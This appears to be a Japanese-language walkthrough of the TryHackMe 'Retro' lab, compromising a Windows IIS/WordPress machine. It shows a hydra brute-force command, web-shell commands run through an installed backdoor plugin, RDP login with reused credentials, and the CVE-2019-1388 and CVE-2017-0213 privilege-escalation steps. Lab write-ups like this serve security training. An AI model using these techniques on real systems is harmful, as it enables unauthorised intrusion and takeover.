TryHackMe: Retro Writeup

TryHackMeのRetroのwriteupおよびメモ。

数日間に渡り取り組んだため、標的マシンのIPアドレスがちょいちょい変わっているのはご愛嬌。

A web server is running on the target. What is the hidden directory which the website lives on?

まずはnmapを走らせてみた。

nmap -Pn -A 10.10.137.251
┌──(kali㉿kali)-[~/Documents/TryHackMe/Retro]
└─$ nmap -Pn -A 10.10.137.251
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-23 08:30 EDT
Nmap scan report for 10.10.137.251
Host is up (0.27s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: RETROWEB
|   NetBIOS_Domain_Name: RETROWEB
|   NetBIOS_Computer_Name: RETROWEB
|   DNS_Domain_Name: RetroWeb
|   DNS_Computer_Name: RetroWeb
|   Product_Version: 10.0.14393
|_  System_Time: 2024-04-23T12:30:42+00:00
|_ssl-date: 2024-04-23T12:30:47+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2024-04-22T12:29:08
|_Not valid after:  2024-10-22T12:29:08
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.46 seconds

上記のスキャン結果より、以下のことが読み取れる。

  • 80番ポートにて、IIS Webサーバーが実行されている。
  • 3389番ポートにて、リモートデスクトップ・サービスが実行されている。
  • 標的マシンはWindowsドメインRetroWebに参加している。

続いて、gobusterでWebサーバーのディレクトリを列挙してみた。

gobuster dir -u http://10.10.137.251 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
┌──(kali㉿kali)-[~/Documents/TryHackMe/Retro]
└─$ gobuster dir -u http://10.10.137.251 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.137.251
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/retro                (Status: 301) [Size: 150] [--> http://10.10.137.251/retro/]
/\                    (Status: 200) [Size: 703]
/_Face_testing_at_Logan_is_fo%0Dund_lacking%2B (Status: 400) [Size: 324]
Progress: 141708 / 141709 (100.00%)
===============================================================
Finished
===============================================================

上記のスキャン結果より、/retroというディレクトリを確認できた。

答えは/retro

user.txt

/retroディレクトリをブラウザで眺めたところ、WordPressの管理画面へのログインページ /retro/wp-login.phpを発見した。

ブログ記事の投稿者名より、ログイン用のユーザー名はWadeと判明した。

あとは、どうにかしてパスワードを入手すれば、WordPressの管理画面へログインできる。

最初はhydraを使ってWadeのパスワードをブルートフォース攻撃で割り出そうとしたのだが、とてつもなく時間がかかりそうだったので断念した。

hydra -l "Wade" -P /usr/share/wordlists/rockyou.txt 10.10.137.251 http-post-form "/retro/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&redirect_to=/retro/wp-admin/&testcookie=1:S=Location" -V -f

(今回初めてhydraを使ったのだが、コマンドの書式を間違えたりして、時間を無駄にしてしまった。)

次にwpscanで標的マシンのWordPressをスキャンしてみた。

wpscan --url 'http://10.10.137.251/retro' -e -o wpscan-result.txt

スキャン結果より、/retro/index.php/feed//retro/index.php/comments/feed/というRSSフィードへのリンクを発見した。

[+] WordPress version 5.2.1 identified (Insecure, released on 2019-05-21).
 | Found By: Rss Generator (Passive Detection)
 |  - http://10.10.137.251/retro/index.php/feed/, <generator>https://wordpress.org/?v=5.2.1</generator>
 |  - http://10.10.137.251/retro/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.1</generator>

上記のRSSフィードをダウンロードしたところ、コメント用のRSSフィード /retro/index.php/comments/feed/の中に気になるコメントを発見した。

                                <title>
                                Comment on Ready Player One by Wade                             </title>
                                <link>/retro/index.php/2019/12/09/ready-player-one/#comment-2</link>
                <dc:creator><![CDATA[Wade]]></dc:creator>
                <pubDate>Mon, 09 Dec 2019 01:18:57 +0000</pubDate>
                <guid isPermaLink="false">/retro/?p=10#comment-2</guid>
                                        <description><![CDATA[Leaving myself a note here just in case I forget how to spell it: parzival]]></description>
                <content:encoded><![CDATA[<p>Leaving myself a note here just in case I forget how to spell it: parzival</p>

上記をもとに記事リンク /retro/index.php/2019/12/09/ready-player-one/#comment-2を確認したところ、Leaving myself a note here just in case I forget how to spell it: parzivalというコメントが残されていた。

parzivalというのが何だかパスワードっぽい。

試しにユーザー名にWade、パスワードにparzivalと指定したところ、WordPressの管理画面にログインできた。

管理画面を一通り確認してみたが、フラグらしき情報は見つからなかったので、Mr Robot CTFの時と同様にwebshellをプラグインとしてインストールして、コマンドを実行してみた。

コマンド

/retro/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=whoami

応答

nt authority\iusr

コマンド

/retro/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=dir C:\inetpub\wwwroot\retro

応答

Volume in drive C has no label.
 Volume Serial Number is 7443-948C

 Directory of C:\inetpub\wwwroot\retro

12/08/2019  05:02 PM    
          .
12/08/2019  05:02 PM    
          ..
05/30/2019  02:55 AM               420 index.php
05/30/2019  02:55 AM            19,935 license.txt
05/30/2019  02:55 AM             7,447 readme.html
05/30/2019  02:55 AM             6,919 wp-activate.php
12/08/2019  05:02 PM    
          wp-admin
05/30/2019  02:55 AM               369 wp-blog-header.php
05/30/2019  02:55 AM             2,283 wp-comments-post.php
05/30/2019  05:17 AM             2,853 wp-config-sample.php
12/08/2019  06:31 PM             2,849 wp-config.php
04/28/2024  12:59 AM    
          wp-content
05/30/2019  02:55 AM             3,847 wp-cron.php
12/08/2019  05:02 PM    
          wp-includes
05/30/2019  02:55 AM             2,502 wp-links-opml.php
05/30/2019  02:55 AM             3,306 wp-load.php
05/30/2019  02:55 AM            39,574 wp-login.php
05/30/2019  02:55 AM             8,403 wp-mail.php
05/30/2019  02:55 AM            18,962 wp-settings.php
05/30/2019  02:55 AM            31,085 wp-signup.php
05/30/2019  02:55 AM             4,764 wp-trackback.php
05/30/2019  02:55 AM             3,068 xmlrpc.php
              17 File(s)        158,586 bytes
               5 Dir(s)  30,425,075,712 bytes free

コマンド

/retro/wp-content/plugins/simple-backdoor/simple-backdoor.php?cmd=dir C:\Users

応答

 Volume in drive C has no label.
 Volume Serial Number is 7443-948C

 Directory of C:\Users

12/08/2019  05:33 PM    
          .
12/08/2019  05:33 PM    
          ..
12/09/2019  12:10 AM    
          Administrator
09/12/2016  04:37 AM    
          Public
12/08/2019  05:33 PM    
          Wade
               0 File(s)              0 bytes
               5 Dir(s)  30,423,711,744 bytes free

どうやらC:\Users\Wadeの中にフォルダが5つあるようだが、webshellの実行ユーザーのnt authority\iusrではC:\Users\Wadeにアクセスできなかった。

ここで一旦アプローチを変えてみた。

最初のnmapスキャンの時に、標的マシンは3389番ポートにて、リモートデスクトップ・サービスを実行しているのが判明している。

試しにWadeのWordPress用のログインパスワードを用いて、標的マシンにRDP接続してみた。

xfreerdp /d:RetroWeb /u:Wade /p:parzival /v:10.10.74.213

すると無事、標的マシンに接続できた。

デスクトップにuser.txtを発見。このファイルにフラグが記載されていた。

ちなみにGUIだとファイル名はuser.txtに見えるが、コマンドプロンプトで確認すると実際のファイル名はuser.txt.txtである。

root.txt

標的マシンのC:\UsersディレクトリにはWadeのほかにPublicAdministratorのフォルダが存在していた。

C:\Users\Publicにはroot.txtは無かった。

C:\Users\Administratorはアクセスするのに管理者権限が必要なため、確認できなかった。

引き続き、ユーザーWadeのデスクトップを調べていたところ、ごみ箱の中にhhupdというアプリケーションを発見したので、とりあえず復元しておいた。

試しにhhupdを実行しようとしたが、管理者権限が必要なため実行できなかった。

次に、デスクトップのショートカットからGoogle Chromeブラウザを起動したところ、CVE-2019-1388へのショートカットを発見。(標的マシンからはインターネットに接続できないので、リンクをコピーしてホストマシンからアクセスする必要がある。)

CVE-2019-1388はWindows Certificate Dialogに起因する脆弱性で、この脆弱性を利用するとコマンドプロンプトを管理者権限で起動できるらしい。

手順は以下の通り。

  1. 実行時にUAC ( User Account Control ) のプロンプトを起動するプログラムを探す。
  2. 1.に該当するプログラムを実行する。
  3. UACのプロンプトからShow more detailsをクリック。
  4. Show information about the publisher's certificateをクリック。
  5. Issued by で記されているリンクをクリック。
  6. リンクがブラウザで開かれる。(使用するブラウザはInternet Explorerが望ましい?)
  7. ブラウザのメニューからSave Asを選択。
  8. Windows Explorerが起動して保存先を聞いてくるので、保存ボタンはクリックせず、Explorerのアドレスバーにコマンドプロンプトへのフルパス(C:\Windows\System32\cmd.exe)を入力する。
  9. コマンドプロンプトがnt authority\system権限で起動する。

先ほど復元したhhupdが攻撃に利用できそうである。

上記の手順に従い、hhupdを起動して、CVE-2019-1388のエクスプロイトを実行してみた。

Issued byのリンクをクリックしたのだが、OKボタンがグレーアウトしていてクリックできず、ブラウザが起動しない。

システムの設定をいじって、Internet Explorerをデフォルトのブラウザに設定してみたが、依然、OKボタンはグレーアウトしたままだった。

この辺りで行き詰ったので公式のヒントを見てみた。以下、ヒント。

Figure out what the user last was trying to find. Otherwise, put this one on ice and get yourself a better shell, perhaps one dipped in venom.

どうやらCVE-2019-1388以外にも活用できる脆弱性があるっぽい。

標的マシンのOS情報を確認したところ、Windows Server 2016だった。

windows server 2016 privilege escalation cveでググってみたところ、CVE-2017-0213にたどり着いた。(割愛するが、ここに至るまでにWordPress 5.2.1やPHP 7.1.29の脆弱性も探していた。)

細工したアプリケーションを実行することで、権限昇格できるらしい。こちらからエクスプロイトを入手できた。

あとはエクスプロイトを標的マシンにコピーして実行すれば良さそう。

xfreerdpでホストマシンから接続先のマシンへのコピペを有効化するには+clipboardオプションを指定すれば良い。

xfreerdp /d:RetroWeb /u:Wade /p:parzival /v:10.10.250.169 /size:95% +clipboard

標的マシンにエクスプロイトをコピーして、コマンドプロンプトからエクスプロイトを実行した。

新しくコマンドプロンプトがnt authority\system権限で起動した。

ルートディレクトリ C:\に移動し、以下のコマンドでroot.txt.txtを探した。(user.txtが実際にはuser.txt.txtだったのを受けて、root.txtではなくroot.txt.txtで検索した)

dir /s "\root.txt.txt"

C:\Users\Administrator\Desktoproot.txt.txtを発見。このファイルにフラグが記載されていた。

Leave a Reply

Your email address will not be published. Required fields are marked *